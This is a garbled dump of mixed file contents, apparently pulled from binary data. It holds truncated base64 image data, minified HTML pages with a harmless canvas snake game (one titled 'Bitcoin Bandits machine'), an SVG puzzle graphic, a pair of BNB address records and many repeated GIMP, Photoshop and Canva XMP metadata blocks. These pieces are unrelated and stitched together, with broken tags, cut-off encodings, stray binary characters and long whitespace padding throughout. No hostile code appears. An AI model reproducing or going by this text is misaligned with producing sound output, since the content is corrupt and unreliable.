P10FDRCUBA0QlBbHgDRZza7XTS0bVtV/ft4wlbU1Ukrp588+mlJK6U03XLngM290fH93rN0x+cb53zX//57/HlXbR0EFDRCUBA0QlBZHQ01WoquamXFk71T3xdTalFJK00sJaoB6tTVSSunyW/89pZTSa0/9cukxOu+/cZ+ydsc4fyWGYVNBAwSlgh6QRqvZzb2wYN+qOdNVVXjKjj1qVZVz3feBelTQAEFJ0ABBaXE01OuW7Dq3Yx948EL2avwW7+/3IiGT78bpdy/YNvc/J1qIZGmuv/76Yvzyimtai0MFDRCUBA0QlBZHhV17VnRfXJqrnFJK06u6TwzudUt2k9XsosjnJb/j9gPFOJ8T/dpTF3/mrYxc3tb4+XPdhdan7/1p6XmYbKtXr247hMbWrVtXjI+fXjjralRU0ABBSdAAQWlxUKlXu+PCofLnxGlrwGCooAGCkqABgtLioJaqdkeTz5XJn/E2qfJn2kETKmiAoFTQNNbvxb58renOOK8u87mn427rM
1q3FePfu3Sml5VtJv2n1dcV45YXuReMoc407MUWJJ6eCBghKggYISoujoUYL6zd4PBb1HDp0KKWU0rcu9K4t1nxmTzH+vX87Vuu4dY5d57hHjx7tGd9ylLcRrr322mLcZkuhE1OUeHIqaICgJGiAoLQ4KgxzUf2ydkiTp4Uz3+XvfXvp9rOffbD74tffl1JK6fpf2lJ+kKzF0evYZceFYVBBAwQlQQMEpcUxIFoU7bn6ppuL8Qt/cH/pPjOXfp44Uf58vN999NFinDe38vGVv//RfsKDvqmgAYKSoAGC0uJg7L34zA9r77t+/fq+z9NppZz73o/6PgY0oYIGCEqCBghKi6Oh0jU3Uvksjqp9j+yd6r6YWnvx5wODvRmG+Vb86q+llFK68K1/WfT9xfZp0kqBQVBBAwSlgmbsvVbjol1VVVz3/brngUFSQQMEJUEDBKXFwVjZtm1bSiml+yren6nYPgj3WbmOEVNBAwQlQQMEpcXBWMmfG9dEPs+5l6oZHZ1z33bbM
bcW2xx57rK94oA4VNEBQEjRAUFocA/Lkl96TUkrp8LmXim2vnn+5GB8//0p357kYj3QfZ4cPH+65T53bt5t8rs45YZBU0ABBSdAAQWlxMLGatDUG8TkYNBU0QFAqaCbK7t27i/HmzZuL8ZkzZxb9XD6/2sVAolBBAwQlQQMEpcURxKdnbirGG1atLMZ3r76qGOdzrI9lc6yXo7x9MU7HhiZU0ABBSdAAQWlxMFZ6zcaIdlxYChU0QFASNEBQWhyMlVOnTrUdwjzr1q1rOwQmmAoaICgJGiAoLY4Ku/as6L6YWlsMp1ddUYzzG0pYPk6ePFk63rZtWwvRMMlU0ABBqaAH7COferp0+8zZF0u3H/n82tLtLC6vXG+55ZaRnjs/n4uEDJMKGiAoCRogKC0OxtKo2xrQBhU0QFASNEBQEjRAUBI0QFASNEBQZnFAQ271ZlRU0ABBSdAAQWlxQEPW4hi83/mtu4rx0aNHh36+w4cPZ6/iroejggYISoIGCEqLg7EyLi2FM
2267re0QmAAqaICgVNCMTNkKdLOzsy1EMnz79+8vxst95b3pG7sX4bZu3VqM84uBf/X33xhlSCmtuGbRt/OLliOPLaOCBghKggYISoujZflTwpeT5fS1fzn9rk18+/vH2g4hpZTS8dMvtB1CJRU0QFASNEBQWhwt27BqZdshtMrX/+VlFLdxD0KUOFXQAEFJ0ABBaXG0bPPqq9oOAQhKBQ0QlAQNEJQWx4AcPvdSSimlTX1+DuCNVNAAQamgl+DY+ZdDHAOYTCpogKAkaICgtDgaOn7+ldDHAyaHChogKAkaICgtjjrmhrig9zCPDYw1FTRAUBI0QFBaHFWeP93Xx3bd1fQ85/s6DzD5VNAAQUnQAEFpcbzRmefajgAgpaSCBghLBZ1SSieebDsCmFj79+8v3b5lx84RR7K4iHGqoAGCkqABglpWLY78q8rjDz/UYiSxzM7Oth0Cl+T/FtFaAIyeChogKAkaIKjLtuzY+XrbQQCwkAoaICgJGiAoCRogKAkaICgJM
GiAoCRogKAkaICgJGiAoCRogKAkaICgJGiAoCRogKAkaICgJGiAoCRogKAkaICgJGiAoCRogKAkaICgJGiAoCRogKAkaICgJGiAoCRogKAkaICgJGiAoCRogKAkaICgJGiAoCRogqP8HKG77TU7DzP8AAAAASUVORK5CYII=" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))M
+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){coM
ntext.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,L
snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
4j2DC-L5:ic7YYETJSEnVf/GIZpYuZX+FnkLbVQ+gcTYmfmTKI+E=
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0105/4096 1,0,1,1,0 ~0.38676383486017585-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#767C89" width="100%" height="100%"/>
<polyline fill="#36EEE0" points="0,8 5,2 5,4 0,0 "/>
<polyline fill="#52F6A8" points="8,0 1,5 4,5 8,8 "/>
<polyline fill="#36EEE0" points="8,8 4,6 4,6 0,8 "/>
<polyline fill="#36EEE0" points="0,0 6,6 6,6 8,0 "/>
Aj?=:BNB.BNB:bnb1ccq34wp8pd04m4seghcpnxnvdhgppyq8pnnrwh:7203805::0
Bj@=:BNB.BNB:bnb1dtkv207u9utm92rqqkq957ukyetdlz83u6tukf:11462799::0
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://nsM
.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:5c8e8f10-1226-4906-b6b0-1ea5570380a8" xmpMM:InstanceID="xmp.iid:02fbe73a-6055-438a-8ec6-823fb68f520f" xmpMM:OriginalDocumentID="xmp.did:169f7476-dd03-455a-a7b8-4ad92182931a" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="WindowM
s" GIMP:TimeStamp="1676412734176289" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:12:12+11:00" xmp:ModifyDate="2023:02:15T09:12:12+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:ab417af9-27f7-457f-84f8-e6d76ac1c171" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:12:14"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                      M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                   <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimpM
.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:97aca5be-9f9f-49c8-9718-e571d26e2c9d" xmpMM:InstanceID="xmp.iid:ae6e1540-7c29-4e5c-80e1-09d607c2337e" xmpMM:OriginalDocumentID="xmp.did:4da666c6-c8fa-4240-8e1b-44b7d23f2dcb" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676412721650157" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:12:00+11:00" xmp:M
ModifyDate="2023:02:15T09:12:00+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:7bd18226-a19d-496a-8756-376816322610" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:12:01"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                    M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M8
                                                                                                                                                                                                                                                                                                     <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adoM
be.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:2cb2ee5a-c2b3-4d81-929a-7bb39c58fa47" xmpMM:InstanceID="xmp.iid:8c69904c-dd6d-4c5e-b0ae-7e61b94cf0e5" xmpMM:OriginalDocumentID="xmp.did:884f5c45-2dab-407b-9437-7fa79fe8721d" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676418100850390" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T10:41:39+11:00" xmp:ModifyDate="2023:02:15T10:41:39+11:0M
0"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:b84baae7-962e-4f12-8d3c-a0f3eccb91bc" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T10:41:40"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                 <?xpacket end="w"?>h!
*<5?>;5:9CK`QCGZH9:SqTZcfklk@Pv~th}`ikg
1gE:Egggggggggggggggggggggggggggggggggggggggggggggggggg
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.comM
/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:fd37f3cb-fbcd-46d4-b274-7a31176ecc75" xmpMM:InstanceID="xmp.iid:744ef873-3dbc-4d09-9728-7e3cd2b8cc56" xmpMM:OriginalDocumentID="xmp.did:99e1990f-b4e2-431c-84fa-0578139d66fd" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676412702799799" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:11:41+11:00" xmp:ModifyDate="2023:02:15T09:11:41+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:actiM
on="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:257dcaa4-59ac-46ee-ad1a-4fecf9a7cb91" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:11:42"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        L
                                                                                                                                                                                                                 <?xpacket end="w"?>h!
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27fab, 2022/08/16-22:35:41        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:98AM
697ABA52F11EDAE48EF0C2CFEA9ED" xmpMM:InstanceID="xmp.iid:98A697AAA52F11EDAE48EF0C2CFEA9ED" xmp:CreatorTool="15.4.1"> <xmpMM:DerivedFrom stRef:instanceID="880121D3F5AAF34B8B2C0015E9D36638" stRef:documentID="880121D3F5AAF34B8B2C0015E9D36638"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
''.030.'>>AA>>AAAAAAAAAAAAAAA
!1!!$!!1>-''''->8;333;8AA>>AAAAAAAAAM
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27fab, 2022/08/16-22:35:41        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:98AM
697A7A52F11EDAE48EF0C2CFEA9ED" xmpMM:InstanceID="xmp.iid:98A697A6A52F11EDAE48EF0C2CFEA9ED" xmp:CreatorTool="Instagram"> <xmpMM:DerivedFrom stRef:instanceID="67FBC8376D0632F704AEDE2EC36234D2" stRef:documentID="67FBC8376D0632F704AEDE2EC36234D2"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
''.030.'>>AA>>AAAAAAAAAAAAAAA
!1!!$!!1>-''''->8;333;8AA>>AAAAAAM
}http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27fab, 2022/08/16-22:35:41        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmpM
.did:27d5c6e6-68b5-4163-90fc-a35834505892" xmpMM:DocumentID="xmp.did:C12D5E47A4CF11EDAE48EF0C2CFEA9ED" xmpMM:InstanceID="xmp.iid:C12D5E46A4CF11EDAE48EF0C2CFEA9ED" xmp:CreatorTool="Adobe Photoshop 24.0 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:b50f455d-bce3-4d83-a45d-34c032f36f01" stRef:documentID="xmp.did:ABE629357C7A11ED8A10B0BF27B4CCEC"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDD
 &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
ihttp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27fab, 2022/08/16-22:35:41        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="CCBM
D815F0009864CA05BC2CB08A19B61" xmpMM:DocumentID="xmp.did:1C75BB6CA52F11EDAE48EF0C2CFEA9ED" xmpMM:InstanceID="xmp.iid:C12D5E4AA4CF11EDAE48EF0C2CFEA9ED" xmp:CreatorTool="Adobe Photoshop 24.0 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0447aa10-584a-4024-a7e8-a960c0071f3f" stRef:documentID="CCBD815F0009864CA05BC2CB08A19B61"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
''.030.'>>AA>>AAAAAAAAAAAAAAA
''->8;333;8AA>>AAAAAAAAAAAAAAAAA
kiTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:nsM
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:Attrib='http://ns.attribution.com/ads/1.0/'>
    <rdf:li rdf:parseType='Resource'>
     <Attrib:Created>2023-02-13</Attrib:Created>
     <Attrib:ExtId>4220b3c4-4325-4228-9e17-57f2ddc74848</Attrib:ExtId>
     <Attrib:FbId>525265914179580</Attrib:FbId>
     <Attrib:TouchType>2</Attrib:TouchType>
  xmlns:dc='http://purl.org/dc/elements/1.1/'>
    <rdf:li xml:lang='x-default'>Astonauts - 3</rdf:li>
 <rdf:Description rdf:about=''
  xmlns:pdf='http://ns.adobe.com/pdf/1.3/'>
  <pdf:Author>ps20183089</pdf:Author>
 <rdf:Description rdf:about=''
  xmlns:xmp='http://ns.adobe.com/xap/1.0/'>
  <xmp:CreatorTool>Canva</xmp:CreatorTool>
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
